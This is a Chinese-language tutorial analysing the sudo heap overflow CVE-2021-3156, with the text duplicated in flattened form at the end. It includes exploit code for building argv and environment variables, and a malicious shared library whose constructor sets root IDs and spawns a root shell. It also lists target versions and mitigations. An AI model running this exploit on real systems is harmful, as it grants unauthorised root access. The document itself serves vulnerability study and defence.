CVE-2021-3156 Linux sudo 提权利用分析
字数 1465 2025-08-29 08:32:09

CVE-2021-3156 Linux sudo提权漏洞分析与利用教学文档

漏洞概述

CVE-2021-3156是Linux sudo工具中的一个堆缓冲区溢出漏洞,由Qualys安全团队发现并报告。该漏洞存在于sudo的sudoedit功能中,允许本地攻击者在无需密码的情况下获得root权限。漏洞影响范围广泛,几乎所有主流Linux发行版都受到影响。

漏洞原理

漏洞根源

漏洞源于sudo在处理命令行参数时,当以shell模式(-s或-i选项)运行时,未能正确转义反斜杠字符,导致堆缓冲区溢出。具体来说:

  1. 当sudo以-s-i选项运行时,会进入"shell模式"
  2. 在此模式下,sudo错误地处理了命令行参数中的反斜杠字符
  3. 攻击者可以构造特殊的命令行参数和环境变量组合,导致堆溢出

关键函数调用链

  1. setlocale(LC_ALL, "") - 配置本机字符集
  2. get_user_info() - 获取用户信息
  3. set_cmnd() - 设置命令参数

漏洞利用分析

环境准备

利用该漏洞需要控制以下两个部分:

  1. 命令行参数:通过构造特殊的参数触发溢出
  2. 环境变量:通过精心设计的LC_ALL环境变量控制堆布局

堆布局控制

利用的关键在于通过setlocale()get_user_info()控制堆布局:

  1. 使用setlocale(LC_ALL, "C.UTF-8@AA.....AAA")生成大的tcache块
  2. get_user_info()调用过程中会进行多次堆分配
  3. 最终在service_user结构体前产生一个0x80的free块

溢出构造

  1. 构造argv参数:

    char *s_argv[] = {
        "sudoedit", "-s", smash_a, "\\", smash_b, NULL
    };
    

    其中smash_asmash_b是填充特定长度的字符串

  2. 构造envp环境变量:

    char *s_envp[MAX_ENVP];
    for(int i = 0; i < target->null_stomp_len; i++) {
        s_envp[envp_pos++] = "\\";
    }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
    char *lc_all = calloc(target->lc_all_len + 16, 1);
    strcpy(lc_all, "LC_ALL=C.UTF-8@");
    memset(lc_all+15, 'C', target->lc_all_len);
    s_envp[envp_pos++] = lc_all;
    

提权机制

利用nss_load_library机制加载恶意库:

  1. 溢出修改service_user结构体中的name字段
  2. 当sudo调用getgrgid()时会触发nss_load_library
  3. nss_load_library会加载我们指定的恶意库
  4. 恶意库的_init构造函数中执行提权操作

恶意库示例:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
    printf("[+] bl1ng bl1ng! We got it!\n");
    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *a_argv[] = { "sh", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execv("/bin/sh", a_argv);
}

漏洞利用步骤

  1. 构造argv和envp参数
  2. 调用execve执行sudoedit
  3. 触发堆溢出,覆盖service_user结构体
  4. 通过nss_load_library加载恶意库
  5. 恶意库的构造函数执行提权操作

受影响版本

  • Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
  • Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
  • Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

防护措施

  1. 升级sudo到已修复版本
  2. 应用厂商提供的补丁
  3. 限制sudo的使用权限

参考链接

  1. CVE-2021-3156调试分析
  2. CVE-2021-3156 sudo堆溢出分析与利用
  3. cve-2021-3156分析
  4. Sudo Exploit Writeup
  5. Heap-based buffer overflow in Sudo (CVE-2021-3156)

总结

CVE-2021-3156是一个严重的本地提权漏洞,利用难度较高但影响广泛。理解其原理和利用方式有助于更好地防御此类漏洞。系统管理员应及时更新sudo软件包,用户也应避免运行不可信的sudo命令。

CVE-2021-3156 Linux sudo提权漏洞分析与利用教学文档 漏洞概述 CVE-2021-3156是Linux sudo工具中的一个堆缓冲区溢出漏洞,由Qualys安全团队发现并报告。该漏洞存在于sudo的sudoedit功能中,允许本地攻击者在无需密码的情况下获得root权限。漏洞影响范围广泛,几乎所有主流Linux发行版都受到影响。 漏洞原理 漏洞根源 漏洞源于sudo在处理命令行参数时,当以shell模式(-s或-i选项)运行时,未能正确转义反斜杠字符,导致堆缓冲区溢出。具体来说: 当sudo以 -s 或 -i 选项运行时,会进入"shell模式" 在此模式下,sudo错误地处理了命令行参数中的反斜杠字符 攻击者可以构造特殊的命令行参数和环境变量组合,导致堆溢出 关键函数调用链 setlocale(LC_ALL, "") - 配置本机字符集 get_user_info() - 获取用户信息 set_cmnd() - 设置命令参数 漏洞利用分析 环境准备 利用该漏洞需要控制以下两个部分: 命令行参数:通过构造特殊的参数触发溢出 环境变量:通过精心设计的LC_ ALL环境变量控制堆布局 堆布局控制 利用的关键在于通过 setlocale() 和 get_user_info() 控制堆布局: 使用 setlocale(LC_ALL, "C.UTF-8@AA.....AAA") 生成大的tcache块 在 get_user_info() 调用过程中会进行多次堆分配 最终在 service_user 结构体前产生一个0x80的free块 溢出构造 构造argv参数: 其中 smash_a 和 smash_b 是填充特定长度的字符串 构造envp环境变量: 提权机制 利用 nss_load_library 机制加载恶意库: 溢出修改 service_user 结构体中的 name 字段 当sudo调用 getgrgid() 时会触发 nss_load_library nss_load_library 会加载我们指定的恶意库 恶意库的 _init 构造函数中执行提权操作 恶意库示例: 漏洞利用步骤 构造argv和envp参数 调用 execve 执行sudoedit 触发堆溢出,覆盖 service_user 结构体 通过 nss_load_library 加载恶意库 恶意库的构造函数执行提权操作 受影响版本 Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 防护措施 升级sudo到已修复版本 应用厂商提供的补丁 限制sudo的使用权限 参考链接 CVE-2021-3156调试分析 CVE-2021-3156 sudo堆溢出分析与利用 cve-2021-3156分析 Sudo Exploit Writeup Heap-based buffer overflow in Sudo (CVE-2021-3156) 总结 CVE-2021-3156是一个严重的本地提权漏洞,利用难度较高但影响广泛。理解其原理和利用方式有助于更好地防御此类漏洞。系统管理员应及时更新sudo软件包,用户也应避免运行不可信的sudo命令。